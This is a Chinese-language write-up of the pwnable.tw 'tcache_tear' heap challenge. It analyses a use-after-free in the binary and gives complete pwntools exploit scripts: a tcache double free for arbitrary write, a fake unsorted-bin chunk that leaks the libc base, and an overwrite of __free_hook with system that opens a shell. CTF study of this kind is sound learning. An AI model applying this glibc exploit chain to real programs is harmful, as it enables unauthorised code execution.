pwnable.tw tcache_tear
这道题对于初学的我来说花了几个小时去理解。利用到的知识点如下:
1.使用tcache dup实现任意地址写
2.使用unsorted bin 双向链表特性获取到unsorted bin 头部指针泄露、计算libc的基地址得到system地址
3.将free替换为system指针、获取到权限
一、题目环境搭建
题目中给了一个libc 为2.27 的libc 又标明为tcache
这里使用patchelf 进行替换libc
https://github.com/matrix1001/glibc-all-in-one
cd glibc-all-in-one-master python update_list cat list
./download 2.27-3ubuntu1_amd64
ls libs/2.27-3ubuntu1_amd64
设置libc的版本
patchelf --set-interpreter /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so /home/pwn/桌面/head/tcache_tear/tcache_tear
patchelf --set-rpath /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64 /home/pwn/桌面/head/tcache_tear/tcache_tear
ldd /home/pwn/桌面/head/tcache_tear/tcache_tear
linux-vdso.so.1 (0x00007ffdfff8b000)
libc.so.6 => /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6 (0x00007fb353fb2000)
/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007fb3543a5000)
成功设置完libc的版本
但是gdb 调试的时候会有问题。暂时还没有得到解决
二、题目解析
首先checksec 一下
tcache_tear$ checksec tcache_tear
[*] '/home/pwn/桌面/head/tcache_tear/tcache_tear'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
FORTIFY: Enabled
tcache_tear$
运行一下程序 一共就是3个选择。1个是申请内存、一个是释放、第三个是查看内容
tcache_tear$ ./tcache_tear
Name:1
$$$$$$$$$$$$$$$$$$$$$$$
Tcache tear
$$$$$$$$$$$$$$$$$$$$$$$
1. Malloc
2. Free
3. Info
4. Exit
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :1
Size:1
Data:1
Done !
$$$$$$$$$$$$$$$$$$$$$$$
Tcache tear
$$$$$$$$$$$$$$$$$$$$$$$
1. Malloc
2. Free
3. Info
4. Exit
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :3
Name :1$$$$$$$$$$$$$$$$$$$$$$$
Tcache tear
$$$$$$$$$$$$$$$$$$$$$$$
1. Malloc
2. Free
3. Info
4. Exit
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :2
$$$$$$$$$$$$$$$$$$$$$$$
Tcache tear
$$$$$$$$$$$$$$$$$$$$$$$
1. Malloc
2. Free
3. Info
4. Exit
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :
64位的程序。打开IDA发现是没有符号表的。然后自己改了一下让能看的清晰点
Main 函数
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
const char *name; // rdi
__int64 v4; // rax
unsigned int count; // [rsp-Ch] [rbp-Ch]
set_clear();
printf("Name:", a2);
name = (const char *)&name_address;
read_name((__int64)&name_address, 0x20u);
count = 0;
while ( 1 )
{
while ( 1 )
{
menu();
v4 = read_num();
if ( v4 != 2 )
break;
if ( count <= 7 )
{
name = (const char *)ptr_address;
free(ptr_address);
++count;
}
}
if ( v4 > 2 )
{
if ( v4 == 3 )
{
Infos();
}
else
{
if ( v4 == 4 )
exit(0);
LABEL_14:
name = "Invalid choice";
puts("Invalid choice");
}
}
else
{
if ( v4 != 1 )
goto LABEL_14;
Add(name, 32LL);
}
}
}
ADD函数
int Add()
{
unsigned __int64 num; // rax
int size; // [rsp-10h] [rbp-10h]
printf("Size:");
num = read_num();
size = num;
if ( num <= 0xFF )
{
ptr_address = malloc(num);
printf("Data:");
read_name((__int64)ptr_address, size - 16);
LODWORD(num) = puts("Done !");
}
return num;
}
INFO函数
ssize_t sub_400B99()
{
printf("Name :");
return write(1, &name_address, 0x20uLL);
}
分析漏洞点
1、可以看到在Mian 函数中是只是free 了地址、但是没有free掉引用、这里就会出现UAF漏洞
if ( v3 != 2 )
break;
if ( count <= 7 )
{
free(ptr_address);
++count;
}
但是这有一个限制、就是count 最大只能7次。
2、在add 函数中。如果size 小于16 那么得到的结果就会为负数、那么此刻就可以实现栈溢出了
read_name((__int64)ptr_address, size - 16);
但是在此处是没用、可以演示一下
head$ gdb tcache_bak
pwndbg> r
Starting program: /home/pwn/桌面/head/tcache_bak
Name:n
$$$$$$$$$$$$$$$$$$$$$$$
Tcache tear
$$$$$$$$$$$$$$$$$$$$$$$
1. Malloc
2. Free
3. Info
4. Exit
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :1
Size:1
Data:1222222222222222222222222222222
Done !
$$$$$$$$$$$$$$$$$$$$$$$
Tcache tear
$$$$$$$$$$$$$$$$$$$$$$$
1. Malloc
2. Free
3. Info
4. Exit
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :^C
Program received signal SIGINT, Interrupt.
__read_chk (fd=0, buf=0x7fffffffdf80, nbytes=23, buflen=<optimized out>) at read_chk.c:33
33 read_chk.c: 没有那个文件或目录.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x400c90 ◂— push r15
RCX 0x7ffff7ef39cd (__read_chk+13) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x17
RDI 0x0
RSI 0x7fffffffdf80 —▸ 0x400840 ◂— xor ebp, ebp
R8 0xd
R9 0xd
R10 0x400db6 ◂— pop rcx /* 'Your choice :' */
R11 0x246
R12 0x400840 ◂— xor ebp, ebp
R13 0x7fffffffe0b0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdfa0 —▸ 0x7fffffffdfc0 ◂— 0x0
RSP 0x7fffffffdf68 —▸ 0x4009fb ◂— lea rax, [rbp - 0x20]
RIP 0x7ffff7ef39cd (__read_chk+13) ◂— cmp rax, -0x1000 /* 'H=' */
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x7ffff7ef39cd <__read_chk+13> cmp rax, -0x1000
0x7ffff7ef39d3 <__read_chk+19> ja __read_chk+32 <__read_chk+32>
↓
0x7ffff7ef39e0 <__read_chk+32> mov rdx, qword ptr [rip + 0xbd489]
0x7ffff7ef39e7 <__read_chk+39> neg eax
0x7ffff7ef39e9 <__read_chk+41> mov dword ptr fs:[rdx], eax
0x7ffff7ef39ec <__read_chk+44> mov rax, -1
0x7ffff7ef39f3 <__read_chk+51> ret
0x7ffff7ef39f4 <__read_chk+52> push rax
0x7ffff7ef39f5 <__read_chk+53> call __chk_fail <__chk_fail>
0x7ffff7ef39fa nop word ptr [rax + rax]
0x7ffff7ef3a00 <__pread_chk> endbr64
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffdf68 —▸ 0x4009fb ◂— lea rax, [rbp - 0x20]
01:0008│ 0x7fffffffdf70 —▸ 0x400c90 ◂— push r15
02:0010│ 0x7fffffffdf78 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfc0 ◂— 0x0
03:0018│ rsi 0x7fffffffdf80 —▸ 0x400840 ◂— xor ebp, ebp
04:0020│ 0x7fffffffdf88 —▸ 0x7fffffffe0b0 ◂— 0x1
05:0028│ 0x7fffffffdf90 ◂— 0x0
06:0030│ 0x7fffffffdf98 ◂— 0xf3b28dd33fd4e400
07:0038│ rbp 0x7fffffffdfa0 —▸ 0x7fffffffdfc0 ◂— 0x0
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 7ffff7ef39cd __read_chk+13
f 1 4009fb
f 2 400c16
f 3 7ffff7de9083 __libc_start_main+243
────────────────────────────────────────────────────────────────────────────────
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0x21
Top chunk | IS_MMAPED
Addr: 0x6032b0
Size: 0x32323232323232
pwndbg>
可以看到top chunk 的size 变成了0x32323232332 及其大的数字
三、利用漏洞点
1、tcache dup 任意地址写
我们可以利用UAF 漏洞进行对某个地址的写、具体如下:
1、申请一个0x50 的空间内容为a
2、释放内存
3、释放内存
4、申请一个0x50 的空间内容为需要修改的内存地址
5、申请一个0x50 的空间内容为a
6、申请一个0x50 的空间内容为需要修改的内容
示例代码如下:
a = malloc(0x20); free(a); free(a); malloc(0x20,addr) malloc(0x20) malloc(0x20,data)
可能会有点懵、我这里画了一张图来进行理解
如果是fastbin的话需要四次才能达到修改内容的值
a = malloc(0x20) b = malloc(0x20) free(a); free(b); free(a); malloc(0x20,addr) malloc(0x20) malloc(0x20) malloc(0x20,data)
那么就可以来演示一下。修改name 的值
from pwn import *
#context(arch='amd64',os='linux',log_level='debug')
io=process("./tcache_tear")
elf=ELF("./libc.so")
def Malloc(size,data):
io.sendlineafter(b"choice :",b"1")
io.sendlineafter(b"Size:",str(size).encode())
io.sendlineafter(b"Data:",data)
def Free():
io.sendlineafter(b"choice :",b"2")
def Info():
io.sendlineafter(b"choice :",b"3")
def UAF_WRITE(Len,address,address_data):
Malloc(Len,'a')
Free()
Free()
Malloc(Len,p64(address))
Malloc(Len,'a')
Malloc(Len,address_data)
io.sendlineafter(b"Name:",b"77777")
name_bss = 0x602060
UAF_WRITE(0x50,name_bss,"666666666")
Info()
io.interactive()
成功修改了name的值为6666666
2、构造伪堆块泄露libc
因为我们这里已经掌握了任意地址的写入、但是tcache 只能执行7次,并且内存大小最大只能是0xff
如果能构造一个unsorted bin这种双向链表、那么就可以拿unsorted bin 表头的地址减去libc距离就可以获取到libc的基地址
1、确定tcache 最大的空间是多少? 默认情况下tcache为64个 64位下可容纳的最大内存块大小是1032(0x408)
2、unsorted bin 有那些限制? 除了要伪造的size要大于0x408,并且伪堆块后面的数据也要满足基本的堆块格式,而且至少两块
参考:https://github.com/lattera/glibc/blob/master/malloc/malloc.c
// 在 _int_free 函数中
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
可以看到free函数对当前的堆块的nextchunk也进行了相应的检查,并且还检查了nextchunk的inuse位,这一位的信息在nextchunk的nextchunk中,
所以在这里我们总共要伪造三个堆块。第一个堆块我们构造大小为0x500,
第二个和第三个分别构造为0x20大小的堆块,这些堆块的标记位,均为只置prev_inuse为1,使得free不去进行合并操作。如图:
这里解释一下为什么是0x501 因为这个1 是 P的值 P一定要为1 不然会被触发合并 、那么他真实的内容大小为0x500
需要注意的是。free(ptr) 是在name+0x10 地方。如果这里就是需要布好堆之后、需要把ptr的指针指向到name+0x10 的地方。
1、第一段的0x501 直接可以在初始化的时候进行一个写入、因为后面没办法写这么长的数据
2、然后利用任意地址写构造name+0x500的后两个伪堆块
3、再次利用任意地址写,向name+0x10写任意数据,目的是执行完最后一个malloc,ptr全局变量会被更新为name+0x10 因为释放后这个地方会指向到unsorted bin 头部位置
4、使用info函数读取name前0x20字节的内容,即可泄露unsorted bin地址
如图
代码如下:
from pwn import *
#context(arch='amd64',os='linux',log_level='debug')
io=process("./tcache_tear")
elf=ELF("./libc.so")
def Malloc(size,data):
io.sendlineafter(b"choice :",b"1")
io.sendlineafter(b"Size:",str(size).encode())
io.sendlineafter(b"Data:",data)
def Free():
io.sendlineafter(b"choice :",b"2")
def Info():
io.sendlineafter(b"choice :",b"3")
def UAF_WRITE(Len,address,address_data):
Malloc(Len,'a')
Free()
Free()
Malloc(Len,p64(address))
Malloc(Len,'a')
Malloc(Len,address_data)
io.sendlineafter(b"Name:",p64(0)+p64(0x501))
name_bss = 0x602060
UAF_WRITE(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2) #
UAF_WRITE(0x60,name_bss+0x10,'a') #
Free()
Info()
io.recvuntil("Name :"); io.recv(0x10)
bin_address=u64(io.recv(8))
print("bin:",bin_address)
io.interactive()
这里泄露出来的指针是unsorted bin的头部指针、怎么计算libc 的地址呢?
调试
from pwn import *
#context(arch='amd64',os='linux',log_level='debug')
io=process("./tcache_tear")
elf=ELF("./libc.so")
def Malloc(size,data):
io.sendlineafter(b"choice :",b"1")
io.sendlineafter(b"Size:",str(size).encode())
io.sendlineafter(b"Data:",data)
def Free():
io.sendlineafter(b"choice :",b"2")
def Info():
io.sendlineafter(b"choice :",b"3")
def UAF_WRITE(Len,address,address_data):
Malloc(Len,'a')
Free()
Free()
Malloc(Len,p64(address))
Malloc(Len,'a')
Malloc(Len,address_data)
io.sendlineafter(b"Name:",p64(0)+p64(0x501))
name_bss = 0x602060
UAF_WRITE(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2) #
UAF_WRITE(0x60,name_bss+0x10,'a') #
Free()
Info()
io.recvuntil("Name :"); io.recv(0x10)
bin_address=u64(io.recv(8))
print("bin:",bin_address)
pause()
io.interactive()
这里加了pause() 直接运行即可
这里即可进入调试界面
pwndbg> got
GOT protection: Full RELRO | GOT functions: 13
[0x601f88] free@GLIBC_2.2.5 -> 0x7feb32c2c950 (free) ◂— push r15
[0x601f90] _exit@GLIBC_2.2.5 -> 0x7feb32c79dd0 (_exit) ◂— mov edx, edi
[0x601f98] __read_chk@GLIBC_2.4 -> 0x7feb32cc7e60 (__read_chk) ◂— cmp rdx, rcx
[0x601fa0] puts@GLIBC_2.2.5 -> 0x7feb32c159c0 (puts) ◂— push r13
[0x601fa8] write@GLIBC_2.2.5 -> 0x7feb32ca5140 (write) ◂— lea rax, [rip + 0x2e07b1]
[0x601fb0] __stack_chk_fail@GLIBC_2.4 -> 0x7feb32cc9c80 (__stack_chk_fail) ◂— lea rsi, [rip + 0x81cdf]
[0x601fb8] printf@GLIBC_2.2.5 -> 0x7feb32bf9e80 (printf) ◂— sub rsp, 0xd8
[0x601fc0] alarm@GLIBC_2.2.5 -> 0x7feb32c79840 (alarm) ◂— mov eax, 0x25
[0x601fc8] atoll@GLIBC_2.2.5 -> 0x7feb32bd56b0 (atoll) ◂— mov edx, 0xa
[0x601fd0] signal@GLIBC_2.2.5 -> 0x7feb32bd3da0 (ssignal) ◂— lea eax, [rdi – 1]
[0x601fd8] malloc@GLIBC_2.2.5 -> 0x7feb32c2c070 (malloc) ◂— push rbp
[0x601fe0] setvbuf@GLIBC_2.2.5 -> 0x7feb32c162f0 (setvbuf) ◂— push r13
[0x601fe8] exit@GLIBC_2.2.5 -> 0x7feb32bd8120 (exit) ◂— lea rsi, [rip + 0x3a85f1]
可以通过https://libc.rip/ 或者pwntools 计算地址
例如:0x7feb32c2c950 为free
0x7feb32c2c950 –0x97950 = libc的基地址
然后通过打印的bin的地址140648149159072-0x7feb32c2c950 –0x97950 就记得到了bin 和libc的偏移量
>>> 0x7feb32c2c950 -0x97950 140648145047552 >>> 140648149159072-140648145047552 4111520 >>> hex(4111520) '0x3ebca0'
计算出偏移量0x3ebca0
那么直接替换到free的地址,换成system的地址。然后直接调用system 进行传递参数 最后的exp如下:
from pwn import *
#context(arch='amd64',os='linux',log_level='debug')
io=process("./tcache_tear")
libc=ELF("./libc.so")
def Malloc(size,data):
io.sendlineafter(b"choice :",b"1")
io.sendlineafter(b"Size:",str(size).encode())
io.sendlineafter(b"Data:",data)
def Free():
io.sendlineafter(b"choice :",b"2")
def Info():
io.sendlineafter(b"choice :",b"3")
def UAF_WRITE(Len,address,address_data):
Malloc(Len,'a')
Free()
Free()
Malloc(Len,p64(address))
Malloc(Len,'a')
Malloc(Len,address_data)
def Malloc2(size,data):
io.sendlineafter(b"choice :",b"1")
io.sendlineafter(b"Size:",size)
io.sendlineafter(b"Data:",data)
io.sendlineafter(b"Name:",p64(0)+p64(0x501))
name_bss = 0x602060
UAF_WRITE(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2) #
UAF_WRITE(0x60,name_bss+0x10,'a') #
Free()
Info()
io.recvuntil("Name :"); io.recv(0x10)
bin_address=u64(io.recv(8))
print("bin:",bin_address)
libc_address=bin_address-0x3ebca0
print("system:",libc_address)
free_hook = libc_address + libc.symbols['__free_hook']
system = libc_address + libc.symbols['system']
UAF_WRITE(0x70,free_hook,p64(system))
Malloc(0x80,"sh\x00")
Free()
io.interactive()
参考:
https://mp.weixin.qq.com/s/eS-HvJCbJERaQu-wbLeRXw
https://xuanxuanblingbling.github.io/ctf/pwn/2020/03/13/tcache/















